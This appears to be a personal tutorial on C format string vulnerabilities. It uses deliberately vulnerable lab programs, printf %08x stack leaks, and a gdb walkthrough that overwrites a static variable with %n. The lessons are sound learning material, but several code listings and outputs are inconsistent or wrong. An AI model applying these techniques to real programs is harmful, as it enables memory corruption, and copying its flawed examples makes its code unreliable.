FORMAT STRINGS

Improperly handled format strings can lead to memory corruption vulnerabilities, allowing attackers to read from or write to the stack and potentially redirect code execution.

CORRECT USAGE

#example
// gcc -g -m32 -O0 32_format_right.c -o 32_format_right.out

#include <stdio.h>
int main(int argc, char *argv[])
{
  char *i = argv[1]; printf("You wrote: %s\n", 1);
}

 * the format specifiers are also in scanf and may be vulnerable as well
 
root@dev:~$ ./32_format_right.out
 You wrote: (null)
 
 * nothing was entered by the user hence, output is null
 
root@dev:~$ ./32_format_right.out asdf
 You wrote: asdf
 

INCORRECT USAGE

#example
// gcc -g -m32 -O0 33_format_wrong.c -o 33_format_wrong.out

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char test[1024];
  strcpy[test, argv[1]);                          //this is a vulnerable function as it can be fed too much data
  printf("You wrote: ");
  printf(test);
  printf("\n");
}

root@dev:~$ ./33_format_wrong.out
 Segmentation fault: (core dumped)
 
 * fault occured as nothing was supplied into the buffer
 
root@dev:~$ ./33_format_wrong.out asdf
 You wrote: asdf
 

PLAYING WITH VULNERABILITY (TESTING)

# ./32_format_right.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")

 * the %08x will print out 8 digits in hexadecimal and prepends that data with zeroes
    - this is equivalent to printf("%08x")
       - this leads to 4 bytes of data repeated 10 times
       
#expected output of non-vulnerable program
root@dev:~$ ./32_format_right.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
 You wrote: %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x

# ./33_format_wrong.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")

#vulnerable program that produces strange data
root@dev:~$ ./33_format_wrong.out $(python3 -c "import sys; sys.stdout.buffer.write(b'%08x' * 10)")
 You wrote: ffffd3acf7ffd000565561d378383025783830257838302578383025783830257838302578383025 
 
 * it looks like there is a pattern to the output which means the data being displayed is being grabbed from somewhere in memory
    - where is the data come from off the stack?
    - can devs pull sensitive information?
    - can devs write information on that location?
    - can other specific data be read?
 * when things such as this vulnerability is encountered, the following is:
    - a.identify recognizable data using the format string vulnerability
    - b.crafting a format string to extract data
 
#make the output easier to read
root@dev:~$ ./33_format_wrong.out AAAA$(python3 -c "import sys; sys.stdout.buffer.write(b'%08x.' * 10)")
 You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141.78383025.3830252e.30252e78.252e7838.2e783830.78383025

 * AAAAffffd3ac is the 1st entry in the stack the dev is able to read from
 * f7ffd000 is the 2nd
 * 565561d3 is the 3rd
 * 41414141 is the 4th which will be the test data
 
#shrink the amount of data to look at only up to the test data (4th location)
root@dev:~$ ./33_format_wrong.out AAAA$(python3 -c "import sys; sys.stdout.buffer.write(b'%08x.' * 4)")
 You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141.

 * from this you can infere how the memory is laid out
 
#skip directly to a specific memory location value
root@dev:~$ ./33_format_wrong.out 'AAAA.%4$x'
 You wrote: AAAAffffd3ac.f7ffd000.565561d3.41414141
 
 * the 4$ means skip to the 4th item
 * the %x means display data in hex
 
PROCESS:
 1.test whether the program has a format string vulnerability
 2.

EXPLOITATION THROUGH FORMAT STRING (OVERWRITING VARIABLES)

Static variables are stored in the data section, not on the stack, preventing traditional buffer overflows. However, attackers can still exploit format string vulnerabilities to write to arbitrary memory, including the data section.

  • think how scanf() works, devs are writing to an address via the &variableName

    • printf("[...]%n", &var); where [...] is the number of characters needed to use to set up the string

VULNERABLE PROGRAM 1 (INCORRECT SANITIZATION OF USER INPUT)

// gcc -g -m32 -w -Wno-format -Wno-format-security -fno-stack-protector -z norero 34_format_vuln.c -o 34_format_vuln.out

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
  char buf[80];
  static int var = 42;
  
  printf("The value is at: [0x%08x]\n", &var);
  strcpy(buf, argv[1]);
  printf(buf);
  printf("\nvar is %d [0x%08x]\n", var, var);
  
  return 0;
}

root@dev:~$ ./34_format_vuln.out
 The value is at: [0x565582bc]
 Segmentation fault (core dumped)
 
 * fault is due to no entry given!
 
root@dev:~$ ./34_format_vuln.out asdf
 The value is at: [0x565582bc]
 asdf
 var is 42 [0x0000002a]
root@dev:~$ gdb ./34_format_vuln.out
gef> info func
All defined functions:

File 34_format_vuln.c:
 6:  int main(int, char **);

Non-debugging symbols:
 ...
 strcpy@plt
 
gef> b *main
 Breakpoint 1 at ...
 
gef> run $(printf "AAAA")%n
gef> d
 ...
 
gef> b *0x56556201
 Breakpoint at 2 ...

gef> c

#dump 20 words of hex at esp
gef> x /20xw $esp
 0xffffd0b0: 0xffffd0c0  0xffffd3b5  0x00000001  0x565561c1
 0xffffd0c0: 0x41414141  0x00006e25  0xf7ffd000  0x00000000
 0xffffd0d0: 0x00000000  0x00000534  0x0000003f  0xf7fa8224
 0xffffd0e0: 0x00000000  0xf7faa000  0xf7ffc7e0  0xf7fad4e8
 0xffffd0f0: 0xf7faa000  0xf7fe22b0  0x00000000  0xf7df3352

 * 0x41414141 should be the entered data which is the AAAA
 * 0x00006e25 should be the %n
 * the 0xffffd0c0 at the very top of the stack (which is the last thing that got
   pushed onto the stack) is the address of the "buf" variable
    - if you follow it on the next line, you'll see the 0x41414141 0x00006e25 ...
    
 * the 0xffffd3b5 is the memory location where the %n is stored
    - this can be tested to see if the 4 A's will really get printed out at this address
       - see... x /xw 0xffffd3b5 output below
           
#confirm for understanding
gef> i r $eax
 eax  0xffffd0c0  ...
 
#display the string at 0xffffd0c0
gef> x /s 0xffffd0c0
 0xffffd0c0:  "AAAA%n"


gef> x /xw 0xffffd3b5
 0xffffd3b5:  0x41414141
 
gef> d
gef> b *0x56556221
 Breakpoint 3 at ...
 
gef> c
gef> d
 ...
gef> x /xw 0xffffd3b5
 0xffffd3b5:  0x00000004
 
 * this shows that devs are able to overwrite one position away from esp
 
gef> run $(printf "AAAA")%2\$n

 * two positions away from %n
gef> c
gef> x /20xw $esp
 0xffffd0b0: 0xffffd0c0  ...
 
 * this will cause a seg fault as no valid instruction was produced
 
#identify where the variable you need to overwrite lives!
gef> run $(printf "AAAA")%4\$n
 ...
gef> c
 The value is at: [0x565582bc]          //this is the address that devs can overwrite

gef> run $(printf "\xbc\x82\x55\x56")%4\$n

 * always write in little endian!

gef> c
gef> x /20xw $esp
 0xffffd0b0: 0xffffd0c0  0xffffd3b3  0x00000001  0x565561c1
 0xffffd0c0: 0x565582bc  0x00006e25  0xf7ffd000  0x00000000
 0xffffd0d0: 0x00000000  0x00000534  0x0000003f  0xf7fa8224
 0xffffd0e0: 0x00000000  0xf7faa000  0xf7ffc7e0  0xf7fad4e8
 0xffffd0f0: 0xf7faa000  0xf7fe22b0  0x00000000  0xf7df3352
 
 * as long as the address of 0x565582bc matches where var lives, devs should
   be able to overwrite this
   
gef> c
gef> d
gef> c
 ??UV
 var is 4 [0x00000004]
 [Inferior 1 (process 37298) exited normally]
 
 * this shows the variable has been overwritten from 42 to now "4"
 
#ALTERNATE METHOD
root@dev:~$ ./34_format_vuln.out $(printf "\xbc\x82\x55\x56")%4\$n
 The value is at: [0x565582bc]
 ??UV
 var is 4 [0x00000004]

VULNERABLE PROGRAM 2

// gcc -g 35_n_test.c -o 35_n_test.out
#include <stdio.h>
int main()
{
  int c;
  printf("What does %n do? ", &c);
  printf("%d\n", c);
  return 0;
}

 * the %n does not print anything. instead it tells printf to store the number of 
   characters written so far (before the %n was seen) into the corresponding 
   argument, which must be a pointer to an integer.
    - the character count for "What does " is 10 characters including the spaces
       - this number is what get displayed by %n
       
 *  Security Warning: %n can be exploited in format string vulnerabilities
    (e.g., writing to arbitrary memory), so it's often disabled or discouraged in
    secure coding environments.
 
root@dev:~$ ./35_n_test.out
 What does %n do? 10

Last updated